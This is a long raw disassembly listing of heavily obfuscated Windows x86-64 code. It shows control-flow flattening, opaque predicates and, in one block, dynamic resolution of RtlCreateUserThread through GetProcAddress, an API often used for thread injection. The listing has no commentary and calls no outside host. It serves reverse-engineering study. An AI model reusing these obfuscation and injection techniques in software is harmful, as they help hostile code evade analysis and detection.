mov edi, ecx
not edi
mov esi, edx
and esi, 0x9d5b7cd8
and ebx, 0x22800207
or ebx, esi
or edx, edi
and edi, 0x9d5b7cd8
and ecx, 0x62a48327
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xd034b931
and edx, 0x2fcb46ce
or edx, ecx
mov ecx, ebp
and ecx, 1
xor ebp, 0xdac7e3f1
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x7693e6b7
and ebp, 0x896c1948
or ebp, ecx
mov ebx, ebp
xor ebx, 0x894c0940
mov ecx, edx
not ecx
xor ebp, 0x7693e6b7
mov edi, ecx
and edi, 0x3433328e
and edx, 0xcbcccd71
or edx, edi
or ecx, ebp
and ebp, 0x3433328e
and ebx, 0xcbcccd71
or ebx, ebp
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x43be4ece
and edx, ecx
and ecx, 0xbc41b131
or ecx, ebp
mov ebp, ecx
xor ebp, 0x4403130
xor ecx, 0x43be4ece
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xfa0d8c41
and ebp, 0x5f273be
or ebp, edi
or ecx, ebx
and ebx, 0xfa0d8c41
and edx, 0x5f273be
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x7ff00f89
and ecx, 0x800ff076
or ecx, edx
xor ecx, 0x800ff076
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
and dl, bl
or bl, r8b
xor bl, 1
or bl, cl
and al, r8b
or al, dl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xb8ca0813
mov ebp, 0x4f482700
cmovne ecx, ebp
test dl, dl
mov edx, 0xb8ca0813
cmove ecx, edx
jmp 0x14015d17c
cmp ecx, 0x7a56c66c
jg 0x140155bec
cmp ecx, 0x734cf53c
je 0x1401595bd
cmp ecx, 0x7667a079
jne 0x14014f740
mov ecx, 0x45d3d80c
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0xb143a7ed
jg 0x140155ddf
cmp ecx, 0xae57c66a
je 0x140159722
cmp ecx, 0xafd9117d
jne 0x14014f740
mov rcx, qword [0x140265040]
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x18bf9742
mov ebx, ecx
and ebx, 0xe74068bc
or ebx, ebp
xor ebx, 0xe74068bc
mov ebp, ecx
xor ebp, 0xfffffffe
and ebp, ecx
mov edi, ebx
and edi, ebp
xor ebp, ebx
or ebp, edi
and edx, 0xe5eed295
and ecx, 0x1a112d6a
or ecx, edx
mov edx, ecx
xor edx, 0x1a112d6a
xor ecx, 0xe5eed295
and ecx, ebp
not ebp
and edx, ebp
or ecx, edx
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
and dl, bl
or bl, r8b
xor bl, 1
or bl, cl
and al, r8b
or al, dl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x43d3085
mov ebp, 0x3a7fae6
jmp 0x14015caf0
cmp ecx, 0x8e1b7530
je 0x140156e55
cmp ecx, 0x91c355eb
je 0x140156f79
cmp ecx, 0x91c969bf
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x641808c0
mov ebp, ecx
and ebp, 0x93e21105
or ebp, edx
xor ebp, 0x93e21105
and ecx, 0x805e63a
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xfb76e235
and ecx, 0x4891dca
or ecx, edx
mov ebp, ecx
xor ebp, 0xf373040f
mov edi, ecx
xor edi, 0xc8cfbf0
mov ebx, edi
and ebx, 0x156023e1
mov edx, ecx
xor edx, 0xe61327ee
and edx, ebp
mov ebp, ebx
and ebp, edx
xor edx, ebx
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xea9fdc1f
and edx, 0x156023e0
or edx, ebp
and edi, 1
xor ecx, 0xc8cfbf1
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0xaa4b4a0e
and ecx, 0x55b4b5f1
or ecx, ebp
xor ecx, 0x55b4b5f1
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, 0x358f5e4f
and edx, 0xca70a1b0
or edx, ecx
mov ecx, edx
xor ecx, 0x2481164b
xor edx, 0xa00a090
and edx, 0x1b0ee894
and ecx, 0xe4f1176b
or ecx, edx
mov edx, ecx
xor edx, 0x20c10242
xor ecx, 0x48090
and ecx, 0xc43495b9
and edx, 0x3bcb6a46
or edx, ecx
mov ecx, edx
xor ecx, 0x80109538
xor edx, 0x1acb2042
and edx, 0x5eef20c3
and ecx, 0xa110df3c
or ecx, edx
xor ecx, 0xa110df3c
setne r9b
sete r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r8b
mov edx, r10d
xor dl, r9b
and dl, r10b
mov eax, edx
xor al, 1
or al, dl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
xor bl, r8b
and al, bl
and bl, r8b
mov edx, eax
xor dl, 1
xor al, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, al
mov eax, ecx
xor al, r10b
and al, cl
and r9b, r8b
and cl, r10b
or cl, r9b
mov edx, eax
xor dl, 1
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, ebx
xor dl, 1
and al, dl
and bl, cl
or bl, al
mov eax, edx
and al, cl
xor dl, cl
or dl, al
mov eax, edx
xor al, bl
test al, 1
mov eax, 0xc33b50b7
mov ecx, 0xbf700900
cmovne eax, ecx
test dl, 1
mov ecx, 0xc33b50b7
jmp 0x14015a099
cmp ecx, 0xc33b50b6
jg 0x140155f13
cmp ecx, 0xc23d7fee
je 0x1401598ef
cmp ecx, 0xc2981874
jne 0x14014f740
mov ecx, 0x8e1b7530
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0xfc742aed
jg 0x140156079
cmp ecx, 0xfb35bba2
je 0x140159905
cmp ecx, 0xfb75065b
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
or ebp, 0x5d66605
mov ebx, ebp
not ebx
or ecx, 0xfa2999fa
mov edx, ecx
not edx
and ebp, 0x5ea76fcb
and ebx, 0xa0089030
or ebx, ebp
and ecx, 0x5ea76fcb
and edx, 0x1500004
or edx, ecx
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x9b31af07
and edx, 0x64ce50f8
or edx, ecx
mov ecx, edx
xor ecx, 0xa634802
xor edx, 0x611836fd
mov ebp, edx
and ebp, 0xf58cb118
and ecx, 0xa734ee7
or ecx, ebp
mov ebx, ecx
not ebx
mov edi, ecx
xor edi, 0xf4081010
or edi, 0x1a6ab2b
mov esi, edi
not esi
or edx, 0xfe5954d4
mov ebp, edx
not ebp
and edi, 0xedb4d6f4
and esi, 0x12490000
or esi, edi
and edx, 0xedb4d6f4
and ebp, 0x2290b
or ebp, edx
xor ebp, esi
mov edx, ebp
not edx
and edx, 0x1a6ab2a
and ebp, 0xfe5954d5
or ebp, edx
and ebx, 1
xor ecx, 0xa734ee6
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xf79f30d
and ecx, 0xf0860cf2
or ecx, edx
xor ecx, 0xf0860cf2
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xfd979cc4
and ecx, 0x268633b
or ecx, edx
mov edx, ecx
not edx
and edx, 0x268633b
and ecx, 0xfd979cc4
or ecx, edx
sete cl
setne r8b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg r10b
mov edx, r8d
and dl, r10b
mov ebx, r9d
and bl, cl
or bl, dl
xor r10b, bl
and r10b, bl
or r8b, r9b
xor cl, r9b
and cl, r9b
mov edx, r8d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r8b
xor cl, 1
or cl, dl
mov edx, r10d
xor dl, 1
and dl, cl
xor cl, 1
mov eax, r10d
xor al, cl
and al, r10b
and cl, r10b
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xf7a8c993
mov ebp, 0x53098888
cmovne ecx, ebp
test al, al
cmove ecx, r12d
jmp 0x14015d380
cmp ecx, 0x3af80a9b
jg 0x1401560a7
cmp ecx, 0x395eed3b
je 0x140159a6a
cmp ecx, 0x39927d81
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0x16470d70
mov ebp, ebx
and ebp, 0xe9b8f28f
or ebp, ecx
mov edi, ebp
xor edi, 0x2028d280
xor ebp, 0x2460d40
mov ecx, edx
or ecx, 0xcbd62d4e
or ebp, 1
and ebp, 0xcbd62d4f
and edi, 0x3429d2b0
or edi, ebp
and ecx, 0xcbd62d4f
xor ecx, edi
mov ebp, ecx
not ebp
mov edi, ecx
and edi, 0xbdd9905b
and ebp, 0x42266fa4
or ebp, edi
or ecx, ebx
and ebx, 0xbdd9905b
and edx, 0x42266fa4
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r9b
cmp eax, 9
setg dl
cmp eax, 0xa
setl r8b
mov eax, r9d
xor al, r8b
mov ebx, eax
or bl, dl
mov r10d, ebx
xor r10b, 1
xor dl, r9b
not dl
and dl, r9b
and al, r8b
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
and r10b, al
xor al, 1
and al, bl
or al, r10b
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x3554506f
mov ebp, 0x104a412
cmovne edx, ebp
test cl, 1
mov ecx, 0x3554506f
jmp 0x14015553b
cmp ecx, 0xe16a39d9
jg 0x1401560d5
cmp ecx, 0xdf3f534f
je 0x140159baf
cmp ecx, 0xe0fdaae6
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov eax, ecx
not eax
mov ebx, ecx
xor ebx, 0xcbd6fc93
and ebx, ecx
mov edx, ecx
or edx, 0x3429036c
mov edi, ebx
not edi
mov esi, edx
and esi, 0x215c8085
mov ebp, eax
and ebp, 0xca827c12
or ebp, esi
or edx, edi
and edi, 0x215c8085
and ebx, 0xdea37f7a
or ebx, edi
xor ebx, ebp
not edx
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0x3429036d
and edx, 0xcbd6fc92
or edx, ebp
not edx
and eax, 0x7b06e6e7
and ecx, 0x84f91918
or ecx, eax
xor ecx, 0x84f91918
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x13638ba
and ecx, 0xfec9c745
or ecx, eax
xor ecx, 0xfec9c745
sete cl
setne r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg r8b
mov eax, r9d
and al, r8b
mov ebx, edx
and bl, cl
or bl, al
xor bl, 1
or bl, r8b
mov r8d, ebx
xor r8b, 1
or r9b, dl
xor cl, dl
and cl, dl
mov edx, r9d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r9b
xor cl, 1
or cl, dl
mov edx, ebx
and dl, r8b
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
xor dl, cl
mov eax, r8d
xor al, cl
or cl, r8b
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
not al
test al, 1
mov eax, 0xac70552a
cmovne eax, r15d
test cl, 1
mov ecx, 0xac70552a
jmp 0x140154e30
cmp ecx, 0x1c2a68e5
jg 0x140156103
cmp ecx, 0x1b083bbe
je 0x140159d07
cmp ecx, 0x1b12f5f6
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0xebcfbc4f
and ecx, 0x143043b0
or ecx, edx
mov edx, ecx
xor edx, 0xebcfbc4f
xor ecx, 0x14204330
and ecx, 0xdd694b39
mov ebp, edx
and ebp, 0x2296b4c6
or ebp, ecx
mov ecx, ebp
xor ecx, 0x2296b4c6
xor ebp, 0x95284b10
mov ebx, ecx
and ebx, 0xebee4823
and edx, 0x1411b7dc
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x4c7982ec
and edx, 0xb3867d13
or edx, ebx
xor edx, 0x58683531
and ebp, 0x953e4f50
mov ebx, ecx
and ebx, 0x6ac1b0af
or ebx, ebp
xor ebx, 0x953e4f51
and ecx, 1
or ecx, ebx
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xcd6d2151
and ebp, 0x3292deae
or ebp, edi
or ecx, ebx
and ebx, 0xcd6d2151
and edx, 0x3292deae
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor al, dl
xor al, 1
or al, bl
mov edx, eax
not dl
xor cl, bl
mov ebx, ecx
not bl
and bl, al
or al, cl
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
mov edx, 0x252ac57f
mov ebp, 0x1f31ab2b
cmovne edx, ebp
test cl, cl
mov ecx, edx
mov ebp, 0x252ac57f
cmovne ecx, ebp
test al, al
jmp 0x14015bdd0
cmp ecx, 0x58730c61
jg 0x140156131
cmp ecx, 0x56f694aa
je 0x140159e87
cmp ecx, 0x583c1a2a
jne 0x14014f740
mov ecx, 0x31f410d0
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0xbce09d11
jg 0x1401562b6
cmp ecx, 0xba119db8
je 0x140159e9d
cmp ecx, 0xbc7813f2
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x5c224cc
and edx, ecx
and ecx, 0xfa3ddb33
or ecx, ebp
xor ecx, 0xfa3ddb33
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x7668b96f
and edx, 0x89974690
or edx, ecx
xor edx, 0x7668b96f
setne r10b
sete r9b
cmp eax, 9
setg r8b
cmp eax, 0xa
setl dl
mov ebx, edx
xor bl, r8b
and bl, dl
xor bl, 1
mov eax, ebx
xor al, r9b
not al
and al, r9b
or bl, r9b
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
or dl, r9b
xor dl, 1
xor r10b, r8b
mov ecx, edx
and cl, r10b
xor r10b, dl
or r10b, cl
xor al, 1
mov edx, r10d
xor dl, al
and al, r10b
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x7a56c66d
mov ecx, 0xf1feabf8
cmovne ebp, ecx
test al, 1
mov ecx, 0x7a56c66d
cmovne ecx, ebp
test dl, 1
jmp 0x14015d6e4
cmp ecx, 0x88282b4f
jg 0x1401563a5
cmp ecx, 0x84866eb4
je 0x140159f58
cmp ecx, 0x87b00c7a
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0x42250
mov edx, ebx
and edx, 0x3cf314a5
or edx, ebp
mov ebp, edx
xor ebp, 0x1c431021
xor edx, 0xc30ceb5a
mov ecx, ebx
xor ecx, 0x3cf736f5
and ecx, ebx
mov esi, ecx
not esi
mov eax, edx
and eax, 0xa0bc468c
and ebp, 0x1c433071
or ebp, eax
or edx, esi
and esi, 0xa0bc468c
and ecx, 0x5f43b973
or ecx, esi
xor ecx, ebp
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x51abc678
and edx, 0xae543987
or edx, eax
mov eax, edx
xor eax, 0x92a30f73
and edi, 0xe48d63a5
and ebx, 0x1b729c5a
or ebx, edi
mov ecx, ebx
xor ecx, 0x1b729c5a
xor edx, 0x6d5cf08c
and ecx, edx
xor ebx, 0xe48d63a5
and ebx, eax
or ebx, ecx
xor edx, ebx
test edx, ebx
sete r9b
setne bl
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl r8b
mov r10d, r8d
xor r10b, bl
mov r11d, r10d
xor r11b, 1
mov edx, ecx
xor dl, r9b
and dl, cl
and bl, r8b
and cl, r9b
or cl, bl
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, r10d
and bl, r11b
xor bl, 1
mov eax, r11d
xor al, bl
or bl, r11b
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and al, cl
and bl, dl
or bl, al
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x95693680
mov edx, 0x2c55100b
cmovne eax, edx
test cl, 1
mov ecx, 0x95693680
jmp 0x14015a099
cmp ecx, 0xd786d919
jg 0x1401563d3
cmp ecx, 0xd0db1226
je 0x140159f6e
cmp ecx, 0xd4defe55
jne 0x14014f740
mov ecx, 0xb15b65a9
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0xc881eb3
jg 0x1401565a7
cmp ecx, 0x9ca3ce1
je 0x14015a0a1
cmp ecx, 0xaaccf4a
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov edx, ebp
or edx, 1
mov ebx, edx
not ebx
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
mov esi, ecx
not esi
mov eax, edx
and eax, 0xce879732
and ebx, 0x317868cc
or ebx, eax
or edx, esi
and esi, 0xce879732
and ecx, 0x317868cd
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
and edi, 0x4cba15cc
and ebp, 0xb345ea33
or ebp, edi
mov eax, ebp
xor eax, 0x22042000
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xd9c3cebb
and edx, 0x263c3144
or edx, ebx
xor ebp, 0x48820488
and ebp, 0xd9c3cebb
and eax, 0x263c3144
or eax, ebp
xor eax, edx
xor ecx, eax
test ecx, eax
sete cl
setne dl
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl r8b
mov ebx, r8d
xor bl, dl
mov r10d, ebx
xor r10b, r9b
and r10b, bl
or dl, r8b
or cl, r9b
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov ebx, r10d
xor bl, 1
mov eax, r10d
and al, bl
mov edx, eax
xor dl, 1
xor al, r10b
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and al, cl
xor cl, 1
and dl, cl
or dl, al
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xf6e27837
mov ebp, 0x1e1492c3
cmovne eax, ebp
test cl, 1
mov ecx, 0xf6e27837
jmp 0x140159071
cmp ecx, 0x45f0863c
jg 0x1401566ba
cmp ecx, 0x453eeeae
je 0x14015a162
cmp ecx, 0x45d3d80c
jne 0x14014f740
mov eax, dword [0x1402656d8]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0xf1edc0be
and eax, ecx
not ecx
and ecx, 0xe0cc8098
and edx, 0x11214026
or edx, ecx
xor edx, 0x11214026
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xe123f41
and eax, 0xf1edc0be
or eax, ecx
mov edx, eax
xor edx, 1
and edx, eax
mov ecx, eax
not ecx
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
mov ebp, eax
not ebp
mov ebx, ecx
and ebx, 0x83e11f3b
and edx, 0x7c1ee0c4
or edx, ebx
or ecx, ebp
and ebp, 0x83e11f3b
and eax, 0x7c1ee0c4
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x510e4f8c
and ecx, 0xaef1b073
or ecx, eax
mov eax, ecx
xor eax, 0x8a319012
xor ecx, 0xb84
and ecx, 0x24c02be5
and eax, 0xdb3fd41a
or eax, ecx
mov ecx, eax
xor ecx, 0x208008a0
xor eax, 0x5232d01a
and eax, 0x5672f35f
and ecx, 0xa98d0ca0
or ecx, eax
xor ecx, 0xa98d0ca0
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402656d4], 0xa
setl cl
mov edx, ecx
or dl, al
xor dl, 1
xor al, cl
or dl, al
mov ecx, edx
xor cl, 1
and dl, al
xor al, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
mov edx, eax
xor dl, bl
test al, al
mov ecx, 0xd4defe55
mov ebp, 0xb15b65a9
cmovne ecx, ebp
test bl, bl
mov eax, 0xd4defe55
jmp 0x14015d37d
cmp ecx, 0xed7710ca
jg 0x1401567fb
cmp ecx, 0xeca0bc21
je 0x14015a2ae
cmp ecx, 0xed1676c8
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea edi, [rcx - 1]
imul edi, ecx
mov esi, edi
not esi
mov ebp, esi
or ebp, 0x4501eaf
mov ecx, ebp
not ecx
mov edx, edi
or edx, 0xa006010
and edx, 0xa507eb6
mov ebx, esi
and ebx, 0x4000009
or ebx, edx
and ebp, 0xa507eb6
and ecx, 0xf1af8140
or ecx, ebp
xor ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0xfbafe151
and ecx, 0x4501eae
or ecx, ebp
mov ebp, ecx
not ebp
and esi, 0x8884f78b
and edi, 0x777b0874
or edi, esi
mov edx, edi
xor edx, 0x64720834
xor edi, 0x8884f78b
mov ebx, ecx
and ebx, 0x930d2043
and ebp, 0x6cf2dfbc
or ebp, ebx
or ecx, edi
and edi, 0x930d2043
and edx, 0x6cf2dfbc
or edx, edi
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xafb269ec
and ecx, 0x504d9613
or ecx, edx
xor ecx, 0x504d9613
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
or dl, bl
or bl, r8b
xor bl, 1
or bl, cl
xor dl, 1
or al, r8b
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, ebx
xor cl, al
xor al, 1
or al, bl
mov edx, ecx
xor dl, al
not dl
test dl, 1
mov edx, 0xd702cfd
mov ebp, 0xed7710cb
cmovne edx, ebp
test cl, cl
mov ecx, 0xd702cfd
cmovne ecx, edx
jmp 0x14015b654
cmp ecx, 0x2cd0e450
jg 0x140156829
cmp ecx, 0x2c55100b
je 0x14015a2c4
cmp ecx, 0x2cc469a5
jne 0x14014f740
mov ecx, 0xb671ddf8
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x6e1ea299
jg 0x14015698a
cmp ecx, 0x6c99451f
je 0x14015a2da
cmp ecx, 0x6d0cf1b0
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0xa1617789
and ebp, ecx
or ecx, 0x5e9e8876
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x9bfcc95c
and edx, 0x20013681
or edx, edi
or ecx, ebx
and ebx, 0x9bfcc95c
and ebp, 0x640336a3
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x5e9e8876
and ecx, 0xa1617789
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xecbdb577
and edx, 0x13424a88
or edx, ecx
xor edx, 0xecbdb577
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg cl
mov edx, r9d
xor dl, r8b
and dl, r9b
mov r11d, edx
xor r11b, 1
mov ebx, r11d
and bl, dl
mov eax, ebx
xor al, 1
xor bl, dl
or al, r11b
xor al, 1
or al, bl
and r9b, r10b
or r10b, al
xor al, 1
or al, cl
mov edx, r10d
xor dl, al
or al, r10b
xor al, 1
or al, dl
mov edx, ecx
xor dl, r8b
and dl, cl
and cl, r8b
or cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
xor al, 1
mov ebx, eax
or bl, dl
xor al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0xcb5a2228
mov ecx, 0x3e1fc6bf
cmovne edx, ecx
test al, 1
mov ecx, edx
mov eax, 0xcb5a2228
jmp 0x14015a2a6
cmp ecx, 0xcb5a2227
jg 0x1401569c4
cmp ecx, 0xc9ea3040
je 0x14015a329
cmp ecx, 0xcab6162a
jne 0x14014f740
mov eax, dword [0x1402656d8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov ebp, eax
or ebp, 0xef09dcc0
mov edx, ebp
not edx
or ecx, 0xd20203
and ecx, 0xfd20e03
and eax, 0xe009d0c0
or eax, ecx
and ebp, 0xfd20e03
and edx, 0x1024213c
or edx, ebp
xor edx, eax
mov eax, edx
not eax
and eax, 0x10f6233f
and edx, 0xef09dcc0
or edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xec651b4d
mov ecx, edx
and ecx, 0x139ae4b2
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x139ae4b3
and ecx, 0xec651b4c
or ecx, ebp
and edx, 0xca59f2ea
mov ebp, eax
and ebp, 0x35a60d15
or ebp, edx
xor ebp, 0xca59f2eb
and eax, 1
or eax, ebp
mov edx, eax
not edx
and edx, 0xcf68890c
and eax, 0x309776f3
or eax, edx
mov ebp, eax
xor ebp, 0x200262f0
mov edx, ecx
not edx
xor eax, 0xcf68890c
mov ebx, edx
and ebx, 0x1ad51c03
and ecx, 0xe52ae3fc
or ecx, ebx
or edx, eax
and eax, 0x1ad51c03
and ebp, 0xe52ae3fc
or ebp, eax
xor ebp, ecx
not edx
or edx, ebp
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x4126c808
and edx, 0x28801343
or edx, eax
mov ebp, edx
xor ebp, 0x20000241
xor edx, 0x8007048c
or ecx, 0x69a6db4b
mov eax, ecx
not eax
and edx, 0x8887158e
and ebp, 0x6120ca41
or ebp, edx
and ecx, 0x8887158e
and eax, 0x16582030
or eax, ecx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0x965924b4
and eax, 0x69a6db4b
or eax, ecx
sete dl
setne r8b
cmp dword [0x1402656d4], 9
setg bl
mov ecx, ebx
and cl, r8b
xor r8b, bl
or r8b, cl
mov ecx, ebx
xor cl, dl
not cl
and cl, dl
or bl, dl
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov eax, r8d
mov edx, ebx
mov r9d, r8d
mov r10d, ebx
mov r11d, r8d
and r11b, bl
xor bl, r8b
xor r8b, 1
and al, r8b
xor r9b, al
xor al, 1
or al, r8b
and dl, cl
xor al, 1
or al, r9b
xor r10b, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, r10b
xor dl, al
or bl, r11b
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x4859be9d
mov ecx, 0x3b059f1c
cmovne eax, ecx
test bl, 1
mov ecx, 0x4859be9d
jmp 0x140159071
cmp ecx, 0x43d3084
jg 0x1401569f2
cmp ecx, 0x3a7fae6
je 0x14015a353
cmp ecx, 0x420218e
jne 0x14014f740
mov ecx, 0x7c1885e7
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x403f504b
jg 0x140156aef
cmp ecx, 0x3e6a60e5
je 0x14015a487
cmp ecx, 0x3f3254dc
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
